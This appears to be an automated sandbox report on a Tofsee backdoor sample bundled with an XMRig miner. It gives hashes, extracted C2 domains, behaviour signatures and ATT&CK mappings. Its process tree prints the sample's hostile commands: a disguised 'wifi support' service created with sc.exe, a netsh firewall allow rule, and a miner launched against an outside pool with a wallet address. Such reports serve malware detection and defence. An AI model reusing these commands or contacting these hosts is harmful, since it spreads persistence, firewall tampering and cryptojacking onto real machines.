Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    05-06-2022 08:29

General

  • Target

    af5c4e5401f3738f5151c04f0758e625cc7b57518256bfbc2fa68e70afa135ca.exe

  • Size

    310KB

  • MD5

    b20cf306a1e5f6ada69f9ce5f7a7dd53

  • SHA1

    7a1b871db7d736b0f1cb8d17cadff1021d5118aa

  • SHA256

    af5c4e5401f3738f5151c04f0758e625cc7b57518256bfbc2fa68e70afa135ca

  • SHA512

    b96868eb140ec919fbb8220955a5b9b7bca2639831f450ba92c1c321c4d0c9ddb9b9fe13993fd95ad087de879dd14bd8ea77e01ea6d58692d95f43654b36e709

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\af5c4e5401f3738f5151c04f0758e625cc7b57518256bfbc2fa68e70afa135ca.exe
    "C:\Users\Admin\AppData\Local\Temp\af5c4e5401f3738f5151c04f0758e625cc7b57518256bfbc2fa68e70afa135ca.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4572
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\asawcwou\
      2⤵
        PID:4948
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qdotspqd.exe" C:\Windows\SysWOW64\asawcwou\
        2⤵
          PID:3436
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create asawcwou binPath= "C:\Windows\SysWOW64\asawcwou\qdotspqd.exe /d\"C:\Users\Admin\AppData\Local\Temp\af5c4e5401f3738f5151c04f0758e625cc7b57518256bfbc2fa68e70afa135ca.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4980
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description asawcwou "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4868
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start asawcwou
          2⤵
          • Launches sc.exe
          PID:592
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1616
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4572 -s 1044
          2⤵
          • Program crash
          PID:4072
      • C:\Windows\SysWOW64\asawcwou\qdotspqd.exe
        C:\Windows\SysWOW64\asawcwou\qdotspqd.exe /d"C:\Users\Admin\AppData\Local\Temp\af5c4e5401f3738f5151c04f0758e625cc7b57518256bfbc2fa68e70afa135ca.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3060
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4880
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1604
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 552
          2⤵
          • Program crash
          PID:1940
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4572 -ip 4572
        1⤵
          PID:4676
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3060 -ip 3060
          1⤵
            PID:1548

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\qdotspqd.exe
            Filesize

            11.3MB

            MD5

            bde1b7d7aa4d20ac240cbd7af9900094

            SHA1

            0259eef4a3c2097ce13968ea5807e85a0a5e30a3

            SHA256

            04eb80c428b6d03166468faf0ed3fc45b24f951c9e7ffba318485c60c66994bd

            SHA512

            6e8606cbda2dcb1bdacbb3abca2a4e299f1c9bdeb7f4beb8ad716ea66cb16320a90f4f5d3dbf746671e2525ba083261c77f4366fefa6ed8ce6992a80909a3b83

          • C:\Windows\SysWOW64\asawcwou\qdotspqd.exe
            Filesize

            11.3MB

            MD5

            bde1b7d7aa4d20ac240cbd7af9900094

            SHA1

            0259eef4a3c2097ce13968ea5807e85a0a5e30a3

            SHA256

            04eb80c428b6d03166468faf0ed3fc45b24f951c9e7ffba318485c60c66994bd

            SHA512

            6e8606cbda2dcb1bdacbb3abca2a4e299f1c9bdeb7f4beb8ad716ea66cb16320a90f4f5d3dbf746671e2525ba083261c77f4366fefa6ed8ce6992a80909a3b83

          • memory/592-138-0x0000000000000000-mapping.dmp
          • memory/1604-169-0x0000000000000000-mapping.dmp
          • memory/1604-175-0x0000000000400000-0x00000000004F1000-memory.dmp
            Filesize

            964KB

          • memory/1604-170-0x0000000000400000-0x00000000004F1000-memory.dmp
            Filesize

            964KB

          • memory/1616-140-0x0000000000000000-mapping.dmp
          • memory/3060-147-0x000000000074E000-0x000000000075E000-memory.dmp
            Filesize

            64KB

          • memory/3060-148-0x0000000000400000-0x00000000004F3000-memory.dmp
            Filesize

            972KB

          • memory/3436-134-0x0000000000000000-mapping.dmp
          • memory/4572-142-0x0000000000400000-0x00000000004F3000-memory.dmp
            Filesize

            972KB

          • memory/4572-141-0x0000000000832000-0x0000000000842000-memory.dmp
            Filesize

            64KB

          • memory/4572-132-0x0000000000400000-0x00000000004F3000-memory.dmp
            Filesize

            972KB

          • memory/4572-130-0x0000000000832000-0x0000000000842000-memory.dmp
            Filesize

            64KB

          • memory/4572-131-0x0000000000760000-0x0000000000773000-memory.dmp
            Filesize

            76KB

          • memory/4868-137-0x0000000000000000-mapping.dmp
          • memory/4880-144-0x00000000004A0000-0x00000000004B5000-memory.dmp
            Filesize

            84KB

          • memory/4880-149-0x00000000004A0000-0x00000000004B5000-memory.dmp
            Filesize

            84KB

          • memory/4880-150-0x00000000004A0000-0x00000000004B5000-memory.dmp
            Filesize

            84KB

          • memory/4880-151-0x0000000002000000-0x000000000220F000-memory.dmp
            Filesize

            2.1MB

          • memory/4880-154-0x00000000017D0000-0x00000000017D6000-memory.dmp
            Filesize

            24KB

          • memory/4880-157-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/4880-160-0x00000000017F0000-0x00000000017F5000-memory.dmp
            Filesize

            20KB

          • memory/4880-163-0x0000000007040000-0x000000000744B000-memory.dmp
            Filesize

            4.0MB

          • memory/4880-166-0x00000000025D0000-0x00000000025D7000-memory.dmp
            Filesize

            28KB

          • memory/4880-143-0x0000000000000000-mapping.dmp
          • memory/4948-133-0x0000000000000000-mapping.dmp
          • memory/4980-136-0x0000000000000000-mapping.dmp